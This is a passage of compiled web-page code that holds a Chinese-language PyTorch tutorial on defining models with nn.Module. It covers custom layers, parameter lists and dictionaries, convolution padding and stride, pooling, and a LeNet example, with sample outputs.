self.output = nn.Linear(256,10)\n \n # \u5b9a\u4e49\u6a21\u578b\u7684\u524d\u5411\u8ba1\u7b97\uff0c\u5373\u5982\u4f55\u6839\u636e\u8f93\u5165x\u8ba1\u7b97\u8fd4\u56de\u6240\u9700\u8981\u7684\u6a21\u578b\u8f93\u51fa\n def forward(self, x):\n o = self.act(self.hidden(x))\n return self.output(o) \n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u4ee5\u4e0a\u7684 MLP \u7c7b\u4e2d\u2f46\u987b\u5b9a\u4e49\u53cd\u5411\u4f20\u64ad\u51fd\u6570\u3002\u7cfb\u7edf\u5c06\u901a\u8fc7\u2f83\u52a8\u6c42\u68af\u5ea6\u2f7d\u81ea\u52a8\u2f63\u6210\u53cd\u5411\u4f20\u64ad\u6240\u9700\u7684 ",(0,d.jsx)(e.code,{children:"backward"})," \u51fd\u6570\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u5b9e\u4f8b\u5316 ",(0,d.jsx)(e.code,{children:"MLP"})," \u7c7b\u5f97\u5230\u6a21\u578b\u53d8\uf97e ",(0,d.jsx)(e.code,{children:"net"})," \u3002\u4e0b\u2faf\u7684\u4ee3\u7801\u521d\u59cb\u5316 ",(0,d.jsx)(e.code,{children:"net"})," \u5e76\u4f20\u5165\u8f93\u2f0a\u6570\u636e ",(0,d.jsx)(e.code,{children:"X"})," \u505a\u4e00\u6b21\u524d\u5411\u8ba1\u7b97\u3002\u5176\u4e2d\uff0c ",(0,d.jsx)(e.code,{children:"net(X)"})," \u4f1a\u8c03\u7528 ",(0,d.jsx)(e.code,{children:"MLP"})," \u7ee7\u627f\u2f83\u81ea ",(0,d.jsx)(e.code,{children:"Module"})," \u7c7b\u7684 ",(0,d.jsx)(e.code,{children:"__call__"})," \u51fd\u6570\uff0c\u8fd9\u4e2a\u51fd\u6570\u5c06\u8c03\u2f64\u7528 ",(0,d.jsx)(e.code,{children:"MLP"})," \u7c7b\u5b9a\u4e49\u7684",(0,d.jsx)(e.code,{children:"forward"})," \u51fd\u6570\u6765\u5b8c\u6210\u524d\u5411\u8ba1\u7b97\u3002\u56e0\u6b64\u6211\u4eec\u81ea\u5df1\u6784\u9020\u6a21\u578b\u65f6\u9700\u8981\u660e\u786e\u5b9a\u4e49\u6a21\u578b\u7684",(0,d.jsx)(e.code,{children:"forward"}),"\u8fc7\u7a0b"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"X = torch.rand(2,784) # \u8bbe\u7f6e\u4e00\u4e2a\u968f\u673a\u7684\u8f93\u5165\u5f20\u91cf\nnet = MLP() # \u5b9e\u4f8b\u5316\u6a21\u578b\nprint(net) # \u6253\u5370\u6a21\u578b\nnet(X) # \u524d\u5411\u8ba1\u7b97\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"MLP(\n (hidden): Linear(in_features=784, out_features=256, bias=True)\n (act): ReLU()\n (output): Linear(in_features=256, out_features=10, bias=True)\n)\ntensor([[ 0.0149, -0.2641, -0.0040, 0.0945, -0.1277, -0.0092, 0.0343, 0.0627,\n -0.1742, 0.1866],\n [ 0.0738, -0.1409, 0.0790, 0.0597, -0.1572, 0.0479, -0.0519, 0.0211,\n -0.1435, 0.1958]], grad_fn=)\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u6ce8\u610f\uff0c\u8fd9\uf9e9\u5e76\u6ca1\u6709\u5c06 ",(0,d.jsx)(e.code,{children:"Module"})," \u7c7b\u547d\u540d\u4e3a ",(0,d.jsx)(e.code,{children:"Layer"})," (\u5c42)\u6216\u8005 ",(0,d.jsx)(e.code,{children:"Model"})," (\u6a21\u578b)\u4e4b\u7c7b\u7684\u540d\u5b57\uff0c\u8fd9\u662f\u56e0\u4e3a\u8be5\u7c7b\u662f\u4e00\u4e2a\u53ef\u4f9b\u2f83\u7531\u7ec4\u5efa\u7684\u90e8\u4ef6\u3002\u5b83\u7684\u5b50\u7c7b\u65e2\u53ef\u4ee5\u662f\u2f00\u4e2a\u5c42(\u5982PyTorch\u63d0\u4f9b\u7684 Linear \u7c7b)\uff0c\u2f1c\u53ef\u4ee5\u662f\u4e00\u4e2a\u6a21\u578b(\u5982\u8fd9\uf9e9\u5b9a\u4e49\u7684 MLP \u7c7b)\uff0c\u6216\u8005\u662f\u6a21\u578b\u7684\u2f00\u4e2a\u90e8\u5206\u3002"]}),"\n",(0,d.jsx)(e.h2,{id:"342-\u795e\u7ecf\u7f51\u7edc\u4e2d\u5e38\u89c1\u7684\u5c42",children:"3.4.2 \u795e\u7ecf\u7f51\u7edc\u4e2d\u5e38\u89c1\u7684\u5c42"}),"\n",(0,d.jsxs)(e.p,{children:["\u6df1\u5ea6\u5b66\u4e60\u7684\u4e00\u4e2a\u9b45\uf98a\u5728\u4e8e\u795e\u7ecf\u7f51\u7edc\u4e2d\u5404\u5f0f\u5404\u6837\u7684\u5c42\uff0c\u4f8b\u5982\u5168\u8fde\u63a5\u5c42\u3001\u5377\u79ef\u5c42\u3001\u6c60\u5316\u5c42\u4e0e\u5faa\u73af\u5c42\u7b49\u7b49\u3002\u867d\u7136PyTorch\u63d0\u4f9b\u4e86\u2f24\uf97e\u5e38\u7528\u7684\u5c42\uff0c\u4f46\u6709\u65f6\u5019\u6211\u4eec\u4f9d\u7136\u5e0c\u671b\u2f83\u5b9a\u4e49\u5c42\u3002\u8fd9\u91cc\u6211\u4eec\u4f1a\u4ecb\u7ecd\u5982\u4f55\u4f7f\u7528 ",(0,d.jsx)(e.code,{children:"Module"})," \u6765\u81ea\u5b9a\u4e49\u5c42\uff0c\u4ece\u800c\u53ef\u4ee5\u88ab\u53cd\u590d\u8c03\u7528\u3002"]}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"\u4e0d\u542b\u6a21\u578b\u53c2\u6570\u7684\u5c42"})}),"\n"]}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u5148\u4ecb\u7ecd\u5982\u4f55\u5b9a\u4e49\u4e00\u4e2a\uf967\u542b\u6a21\u578b\u53c2\u6570\u7684\u81ea\u5b9a\u4e49\u5c42\u3002\u4e0b\u2faf\u6784\u9020\u7684 ",(0,d.jsx)(e.code,{children:"MyLayer"})," \u7c7b\u901a\u8fc7\u7ee7\u627f ",(0,d.jsx)(e.code,{children:"Module"})," \u7c7b\u81ea\u5b9a\u4e49\uf9ba\u4e00\u4e2a",(0,d.jsx)(e.strong,{children:"\u5c06\u8f93\u5165\u51cf\u6389\u5747\u503c\u540e\u8f93\u51fa"}),"\u7684\u5c42\uff0c\u5e76\u5c06\u5c42\u7684\u8ba1\u7b97\u5b9a\u4e49\u5728\uf9ba forward \u51fd\u6570\uf9e9\u3002\u8fd9\u4e2a\u5c42\uf9e9\uf967\u542b\u6a21\u578b\u53c2\u6570\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torch import nn\n\nclass MyLayer(nn.Module):\n def __init__(self, **kwargs):\n super(MyLayer, self).__init__(**kwargs)\n def forward(self, x):\n return x - x.mean() \n"})}),"\n",(0,d.jsx)(e.p,{children:"\u6d4b\u8bd5\uff0c\u5b9e\u4f8b\u5316\u8be5\u5c42\uff0c\u7136\u540e\u505a\u524d\u5411\u8ba1\u7b97"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"layer = MyLayer()\nlayer(torch.tensor([1, 2, 3, 4, 5], dtype=torch.float))\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([-2., -1., 0., 1., 2.])\n"})}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"\u542b\u6a21\u578b\u53c2\u6570\u7684\u5c42"})}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:"\u6211\u4eec\u8fd8\u53ef\u4ee5\u81ea\u5b9a\u4e49\u542b\u6a21\u578b\u53c2\u6570\u7684\u81ea\u5b9a\u4e49\u5c42\u3002\u5176\u4e2d\u7684\u6a21\u578b\u53c2\u6570\u53ef\u4ee5\u901a\u8fc7\u8bad\u7ec3\u5b66\u51fa\u3002"}),"\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"Parameter"})," \u7c7b\u5176\u5b9e\u662f ",(0,d.jsx)(e.code,{children:"Tensor"})," \u7684\u5b50\u7c7b\uff0c\u5982\u679c\u4e00\u4e2a ",(0,d.jsx)(e.code,{children:"Tensor"})," \u662f ",(0,d.jsx)(e.code,{children:"Parameter"})," \uff0c\u90a3\u4e48\u5b83\u4f1a\u2f83\u52a8\u88ab\u6dfb\u52a0\u5230\u6a21\u578b\u7684\u53c2\u6570\uf99c\u8868\uf9e9\u3002\u6240\u4ee5\u5728\u2f83\u5b9a\u4e49\u542b\u6a21\u578b\u53c2\u6570\u7684\u5c42\u65f6\uff0c\u6211\u4eec\u5e94\u8be5\u5c06\u53c2\u6570\u5b9a\u4e49\u6210 ",(0,d.jsx)(e.code,{children:"Parameter"})," \uff0c\u9664\u4e86\u76f4\u63a5\u5b9a\u4e49\u6210 ",(0,d.jsx)(e.code,{children:"Parameter"})," \u7c7b\u5916\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u2f64 ",(0,d.jsx)(e.code,{children:"ParameterList"})," \u548c ",(0,d.jsx)(e.code,{children:"ParameterDict"})," \u5206\u522b\u5b9a\u4e49\u53c2\u6570\u7684\uf99c\u8868\u548c\u5b57\u5178\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"class MyListDense(nn.Module):\n def __init__(self):\n super(MyListDense, self).__init__()\n self.params = nn.ParameterList([nn.Parameter(torch.randn(4, 4)) for i in range(3)])\n self.params.append(nn.Parameter(torch.randn(4, 1)))\n\n def forward(self, x):\n for i in range(len(self.params)):\n x = torch.mm(x, self.params[i])\n return x\nnet = MyListDense()\nprint(net)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"class MyDictDense(nn.Module):\n def __init__(self):\n super(MyDictDense, self).__init__()\n self.params = nn.ParameterDict({\n 'linear1': nn.Parameter(torch.randn(4, 4)),\n 'linear2': nn.Parameter(torch.randn(4, 1))\n })\n self.params.update({'linear3': nn.Parameter(torch.randn(4, 2))}) # \u65b0\u589e\n\n def forward(self, x, choice='linear1'):\n return torch.mm(x, self.params[choice])\n\nnet = MyDictDense()\nprint(net)\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u4e0b\u9762\u7ed9\u51fa\u5e38\u89c1\u7684\u795e\u7ecf\u7f51\u7edc\u7684\u4e00\u4e9b\u5c42\uff0c\u6bd4\u5982\u5377\u79ef\u5c42\u3001\u6c60\u5316\u5c42\uff0c\u4ee5\u53ca\u8f83\u4e3a\u57fa\u7840\u7684AlexNet\uff0cLeNet\u7b49\u3002"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"\u4e8c\u7ef4\u5377\u79ef\u5c42"})}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:"\u4e8c\u7ef4\u5377\u79ef\u5c42\u5c06\u8f93\u5165\u548c\u5377\u79ef\u6838\u505a\u4e92\u76f8\u5173\u8fd0\u7b97\uff0c\u5e76\u52a0\u4e0a\u4e00\u4e2a\u6807\uf97e\u504f\u5dee\u6765\u5f97\u5230\u8f93\u51fa\u3002\u5377\u79ef\u5c42\u7684\u6a21\u578b\u53c2\u6570\u5305\u62ec\uf9ba\u5377\u79ef\u6838\u548c\u6807\uf97e\u504f\u5dee\u3002\u5728\u8bad\u7ec3\u6a21\u578b\u7684\u65f6\u5019\uff0c\u901a\u5e38\u6211\u4eec\u5148\u5bf9\u5377\u79ef\u6838\u968f\u673a\u521d\u59cb\u5316\uff0c\u7136\u540e\uf967\u65ad\u8fed\u4ee3\u5377\u79ef\u6838\u548c\u504f\u5dee\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torch import nn\n\n# \u5377\u79ef\u8fd0\u7b97\uff08\u4e8c\u7ef4\u4e92\u76f8\u5173\uff09\ndef corr2d(X, K): \n h, w = K.shape\n X, K = X.float(), K.float()\n Y = torch.zeros((X.shape[0] - h + 1, X.shape[1] - w + 1))\n for i in range(Y.shape[0]):\n for j in range(Y.shape[1]):\n Y[i, j] = (X[i: i + h, j: j + w] * K).sum()\n return Y\n\n# \u4e8c\u7ef4\u5377\u79ef\u5c42\nclass Conv2D(nn.Module):\n def __init__(self, kernel_size):\n super(Conv2D, self).__init__()\n self.weight = nn.Parameter(torch.randn(kernel_size))\n self.bias = nn.Parameter(torch.randn(1))\n\n def forward(self, x):\n return corr2d(x, self.weight) + self.bias\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5377\u79ef\u7a97\u53e3\u5f62\u72b6\u4e3a $p \\times q$ \u7684\u5377\u79ef\u5c42\u79f0\u4e3a $p \\times q$ \u5377\u79ef\u5c42\u3002\u540c\u6837\uff0c $p \\times q$ \u5377\u79ef\u6216 $p \\times q$ \u5377\u79ef\u6838\u8bf4\u660e\u5377\u79ef\u6838\u7684\u9ad8\u548c\u5bbd\u5206\u522b\u4e3a $p$ \u548c $q$\uff0c\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c$p=q$\u3002"}),"\n",(0,d.jsx)(e.p,{children:"\u586b\u5145(padding)\u662f\u6307\u5728\u8f93\u2f0a\u9ad8\u548c\u5bbd\u7684\u4e24\u4fa7\u586b\u5145\u5143\u7d20(\u901a\u5e38\u662f0\u5143\u7d20)\u3002"}),"\n",(0,d.jsx)(e.p,{children:"\u4e0b\u9762\u7684\uf9b5\u5b50\u91cc\u6211\u4eec\u521b\u5efa\u4e00\u4e2a\u2fbc\u548c\u5bbd\u4e3a3\u7684\u4e8c\u7ef4\u5377\u79ef\u5c42\uff0c\u7136\u540e\u8bbe\u8f93\u2f0a\u9ad8\u548c\u5bbd\u4e24\u4fa7\u7684\u586b\u5145\u6570\u5206\u522b\u4e3a1\u3002\u7ed9\u5b9a\u4e00\u4e2a\u9ad8\u548c\u5bbd\u4e3a8\u7684\u8f93\u5165\uff0c\u6211\u4eec\u53d1\u73b0\u8f93\u51fa\u7684\u9ad8\u548c\u5bbd\u4e5f\u662f8\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torch import nn\n\n# \u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\u6765\u8ba1\u7b97\u5377\u79ef\u5c42\u3002\u5b83\u5bf9\u8f93\u5165\u548c\u8f93\u51fa\u505a\u76f8\u5e94\u7684\u5347\u7ef4\u548c\u964d\u7ef4\ndef comp_conv2d(conv2d, X):\n # (1, 1)\u4ee3\u8868\u6279\u91cf\u5927\u5c0f\u548c\u901a\u9053\u6570\n X = X.view((1, 1) + X.shape)\n Y = conv2d(X)\n return Y.view(Y.shape[2:]) # \u6392\u9664\u4e0d\u5173\u5fc3\u7684\u524d\u4e24\u7ef4:\u6279\u91cf\u548c\u901a\u9053\n\n\n# \u6ce8\u610f\u8fd9\u91cc\u662f\u4e24\u4fa7\u5206\u522b\u586b\u51451\u2f8f\u6216\u5217\uff0c\u6240\u4ee5\u5728\u4e24\u4fa7\u4e00\u5171\u586b\u51452\u2f8f\u6216\u5217\nconv2d = nn.Conv2d(in_channels=1, out_channels=1, kernel_size=3,padding=1)\n\nX = torch.rand(8, 8)\ncomp_conv2d(conv2d, X).shape\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"torch.Size([8, 8])\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5f53\u5377\u79ef\u6838\u7684\u9ad8\u548c\u5bbd\uf967\u540c\u65f6\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u901a\u8fc7\u8bbe\u7f6e\u9ad8\u548c\u5bbd\u4e0a\uf967\u540c\u7684\u586b\u5145\u6570\u4f7f\u8f93\u51fa\u548c\u8f93\u5165\u5177\u6709\u76f8\u540c\u7684\u9ad8\u548c\u5bbd\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"# \u4f7f\u7528\u9ad8\u4e3a5\u3001\u5bbd\u4e3a3\u7684\u5377\u79ef\u6838\u3002\u5728\u2fbc\u548c\u5bbd\u4e24\u4fa7\u7684\u586b\u5145\u6570\u5206\u522b\u4e3a2\u548c1\nconv2d = nn.Conv2d(in_channels=1, out_channels=1, kernel_size=(5, 3), padding=(2, 1))\ncomp_conv2d(conv2d, X).shape\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"torch.Size([8, 8])\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5728\u4e8c\u7ef4\u4e92\u76f8\u5173\u8fd0\u7b97\u4e2d\uff0c\u5377\u79ef\u7a97\u53e3\u4ece\u8f93\u5165\u6570\u7ec4\u7684\u6700\u5de6\u4e0a\u65b9\u5f00\u59cb\uff0c\u6309\u4ece\u5de6\u5f80\u53f3\u3001\u4ece\u4e0a\u5f80\u4e0b \u7684\u987a\u5e8f\uff0c\u4f9d\u6b21\u5728\u8f93\u2f0a\u6570\u7ec4\u4e0a\u6ed1\u52a8\u3002\u6211\u4eec\u5c06\u6bcf\u6b21\u6ed1\u52a8\u7684\ufa08\u6570\u548c\uf99c\u6570\u79f0\u4e3a\u6b65\u5e45(stride)\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"conv2d = nn.Conv2d(1, 1, kernel_size=(3, 5), padding=(0, 1), stride=(3, 4))\ncomp_conv2d(conv2d, X).shape\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"torch.Size([2, 2])\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u586b\u5145\u53ef\u4ee5\u589e\u52a0\u8f93\u51fa\u7684\u9ad8\u548c\u5bbd\u3002\u8fd9\u5e38\u7528\u6765\u4f7f\u8f93\u51fa\u4e0e\u8f93\u5165\u5177\u6709\u76f8\u540c\u7684\u9ad8\u548c\u5bbd\u3002"}),"\n",(0,d.jsx)(e.p,{children:"\u6b65\u5e45\u53ef\u4ee5\u51cf\u5c0f\u8f93\u51fa\u7684\u9ad8\u548c\u5bbd\uff0c\uf9b5\u5982\u8f93\u51fa\u7684\u9ad8\u548c\u5bbd\u4ec5\u4e3a\u8f93\u5165\u7684\u9ad8\u548c\u5bbd\u7684 ( \u4e3a\u5927\u4e8e1\u7684\u6574\u6570)\u3002"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"\u6c60\u5316\u5c42"})}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:"\u6c60\u5316\u5c42\u6bcf\u6b21\u5bf9\u8f93\u5165\u6570\u636e\u7684\u4e00\u4e2a\u56fa\u5b9a\u5f62\u72b6\u7a97\u53e3(\u2f1c\u79f0\u6c60\u5316\u7a97\u53e3)\u4e2d\u7684\u5143\u7d20\u8ba1\u7b97\u8f93\u51fa\u3002\uf967\u540c\u4e8e\u5377\u79ef\u5c42\uf9e9\u8ba1\u7b97\u8f93\u2f0a\u548c\u6838\u7684\u4e92\u76f8\u5173\u6027\uff0c\u6c60\u5316\u5c42\u76f4\u63a5\u8ba1\u7b97\u6c60\u5316\u7a97\u53e3\u5185\u5143\u7d20\u7684\u5c5e\u6027\uff08\u5747\u503c\u3001\u6700\u5927\u503c\u7b49\uff09\u3002\u5e38\u89c1\u7684\u6c60\u5316\u5305\u62ec\u6700\u5927\u6c60\u5316\u6216\u5e73\u5747\u6c60\u5316\u3002\u5728\u4e8c\u7ef4\u6700\u2f24\u6c60\u5316\u4e2d\uff0c\u6c60\u5316\u7a97\u53e3\u4ece\u8f93\u5165\u6570\u7ec4\u7684\u6700\u5de6\u4e0a\u65b9\u5f00\u59cb\uff0c\u6309\u4ece\u5de6\u5f80\u53f3\u3001\u4ece\u4e0a\u5f80\u4e0b\u7684\u987a\u5e8f\uff0c\u4f9d\u6b21\u5728\u8f93\u2f0a\u6570\u7ec4\u4e0a\u6ed1\u52a8\u3002\u5f53\u6c60\u5316\u7a97\u53e3\u6ed1\u52a8\u5230\u67d0\u2f00\u4f4d\u7f6e\u65f6\uff0c\u7a97\u53e3\u4e2d\u7684\u8f93\u5165\u5b50\u6570\u7ec4\u7684\u6700\u5927\u503c\u5373\u8f93\u51fa\u6570\u7ec4\u4e2d\u76f8\u5e94\u4f4d\u7f6e\u7684\u5143\u7d20\u3002"}),"\n",(0,d.jsxs)(e.p,{children:["\u4e0b\u9762\u628a\u6c60\u5316\u5c42\u7684\u524d\u5411\u8ba1\u7b97\u5b9e\u73b0\u5728",(0,d.jsx)(e.code,{children:"pool2d"}),"\u51fd\u6570\u91cc\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torch import nn\n\ndef pool2d(X, pool_size, mode='max'):\n p_h, p_w = pool_size\n Y = torch.zeros((X.shape[0] - p_h + 1, X.shape[1] - p_w + 1))\n for i in range(Y.shape[0]):\n for j in range(Y.shape[1]):\n if mode == 'max':\n Y[i, j] = X[i: i + p_h, j: j + p_w].max()\n elif mode == 'avg':\n Y[i, j] = X[i: i + p_h, j: j + p_w].mean()\n return Y\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"X = torch.tensor([[0, 1, 2], [3, 4, 5], [6, 7, 8]], dtype=torch.float)\npool2d(X, (2, 2))\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[4., 5.],\n\t[7., 8.]])\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"pool2d(X, (2, 2), 'avg')\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[2., 3.],\n\t[5., 6.]])\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,d.jsx)(e.code,{children:"torch.nn"}),"\u5305\u6765\u6784\u5efa\u795e\u7ecf\u7f51\u7edc\u3002\u6211\u4eec\u5df2\u7ecf\u4ecb\u7ecd\u4e86",(0,d.jsx)(e.code,{children:"autograd"}),"\u5305\uff0c",(0,d.jsx)(e.code,{children:"nn"}),"\u5305\u5219\u4f9d\u8d56\u4e8e",(0,d.jsx)(e.code,{children:"autograd"}),"\u5305\u6765\u5b9a\u4e49\u6a21\u578b\u5e76\u5bf9\u5b83\u4eec\u6c42\u5bfc\u3002\u4e00\u4e2a",(0,d.jsx)(e.code,{children:"nn.Module"}),"\u5305\u542b\u5404\u4e2a\u5c42\u548c\u4e00\u4e2a",(0,d.jsx)(e.code,{children:"forward(input)"}),"\u65b9\u6cd5\uff0c\u8be5\u65b9\u6cd5\u8fd4\u56de",(0,d.jsx)(e.code,{children:"output"}),"\u3002"]}),"\n",(0,d.jsx)(e.h2,{id:"343-\u6a21\u578b\u793a\u4f8b",children:"3.4.3 \u6a21\u578b\u793a\u4f8b"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"LeNet"})}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:(0,d.jsx)(e.img,{alt:"3.4.1",src:r(75379).A+"",width:"1264",height:"430"})}),"\n",(0,d.jsx)(e.p,{children:"\u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u524d\u9988\u795e\u7ecf\u7f51\u7edc (feed-forward network\uff09\uff08LeNet\uff09\u3002\u5b83\u63a5\u53d7\u4e00\u4e2a\u8f93\u5165\uff0c\u7136\u540e\u5c06\u5b83\u9001\u5165\u4e0b\u4e00\u5c42\uff0c\u4e00\u5c42\u63a5\u4e00\u5c42\u7684\u4f20\u9012\uff0c\u6700\u540e\u7ed9\u51fa\u8f93\u51fa\u3002"}),"\n",(0,d.jsx)(e.p,{children:"\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u7684\u5178\u578b\u8bad\u7ec3\u8fc7\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,d.jsxs)(e.ol,{children:["\n",(0,d.jsx)(e.li,{children:"\u5b9a\u4e49\u5305\u542b\u4e00\u4e9b\u53ef\u5b66\u4e60\u53c2\u6570(\u6216\u8005\u53eb\u6743\u91cd\uff09\u7684\u795e\u7ecf\u7f51\u7edc"}),"\n",(0,d.jsx)(e.li,{children:"\u5728\u8f93\u5165\u6570\u636e\u96c6\u4e0a\u8fed\u4ee3"}),"\n",(0,d.jsx)(e.li,{children:"\u901a\u8fc7\u7f51\u7edc\u5904\u7406\u8f93\u5165"}),"\n",(0,d.jsx)(e.li,{children:"\u8ba1\u7b97 loss (\u8f93\u51fa\u548c\u6b63\u786e\u7b54\u6848\u7684\u8ddd\u79bb\uff09"}),"\n",(0,d.jsx)(e.li,{children:"\u5c06\u68af\u5ea6\u53cd\u5411\u4f20\u64ad\u7ed9\u7f51\u7edc\u7684\u53c2\u6570"}),"\n",(0,d.jsxs)(e.li,{children:["\u66f4\u65b0\u7f51\u7edc\u7684\u6743\u91cd\uff0c\u4e00\u822c\u4f7f\u7528\u4e00\u4e2a\u7b80\u5355\u7684\u89c4\u5219\uff1a",(0,d.jsx)(e.code,{children:"weight = weight - learning_rate * gradient"})]}),"\n"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Net(nn.Module):\n\n def __init__(self):\n super(Net, self).__init__()\n # \u8f93\u5165\u56fe\u50cfchannel\uff1a1\uff1b\u8f93\u51fachannel\uff1a6\uff1b5x5\u5377\u79ef\u6838\n self.conv1 = nn.Conv2d(1, 6, 5)\n self.conv2 = nn.Conv2d(6, 16, 5)\n # an affine operation: y = Wx + b\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 10)\n\n def forward(self, x):\n # 2x2 Max pooling\n x = F.max_pool2d(F.relu(self.conv1(x)), (2, 2))\n # \u5982\u679c\u662f\u65b9\u9635,\u5219\u53ef\u4ee5\u53ea\u4f7f\u7528\u4e00\u4e2a\u6570\u5b57\u8fdb\u884c\u5b9a\u4e49\n x = F.max_pool2d(F.relu(self.conv2(x)), 2)\n x = x.view(-1, self.num_flat_features(x))\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n def num_flat_features(self, x):\n size = x.size()[1:] # \u9664\u53bb\u6279\u5904\u7406\u7ef4\u5ea6\u7684\u5176\u4ed6\u6240\u6709\u7ef4\u5ea6\n num_features = 1\n for s in size:\n num_features *= s\n return num_features\n\n\nnet = Net()\nprint(net)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"Net(\n (conv1): Conv2d(1, 6, kernel_size=(5, 5), stride=(1, 1))\n (conv2): Conv2d(6, 16, kernel_size=(5, 5), stride=(1, 1))\n (fc1): Linear(in_features=400, out_features=120, bias=True)\n (fc2): Linear(in_features=120, out_features=84, bias=True)\n (fc3): Linear(in_features=84, out_features=10, bias=True)\n)\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u53ea\u9700\u8981\u5b9a\u4e49 ",(0,d.jsx)(e.code,{children:"forward"})," \u51fd\u6570\uff0c",(0,d.jsx)(e.code,{children:"backward"}),"\u51fd\u6570\u4f1a\u5728\u4f7f\u7528",(0,d.jsx)(e.code,{children:"autograd"}),"\u65f6\u81ea\u52a8\u5b9a\u4e49\uff0c",(0,d.jsx)(e.code,{children:"backward"}),"\u51fd\u6570\u7528\u6765\u8ba1\u7b97\u5bfc\u6570\u3002\u6211\u4eec\u53ef\u4ee5\u5728 ",(0,d.jsx)(e.code,{children:"forward"})," \u51fd\u6570\u4e2d\u4f7f\u7528\u4efb\u4f55\u9488\u5bf9\u5f20\u91cf\u7684\u64cd\u4f5c\u548c\u8ba1\u7b97\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u4e00\u4e2a\u6a21\u578b\u7684\u53ef\u5b66\u4e60\u53c2\u6570\u53ef\u4ee5\u901a\u8fc7",(0,d.jsx)(e.code,{children:"net.parameters()"}),"\u8fd4\u56de"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"params = list(net.parameters())\nprint(len(params))\nprint(params[0].size()) # conv1\u7684\u6743\u91cd\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"10\ntorch.Size([6, 1, 5, 5])\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u8ba9\u6211\u4eec\u5c1d\u8bd5\u4e00\u4e2a\u968f\u673a\u7684 32x32 \u7684\u8f93\u5165\u3002\u6ce8\u610f:\u8fd9\u4e2a\u7f51\u7edc (LeNet\uff09\u7684\u671f\u5f85\u8f93\u5165\u662f 32x32 \u7684\u5f20\u91cf\u3002\u5982\u679c\u4f7f\u7528 MNIST 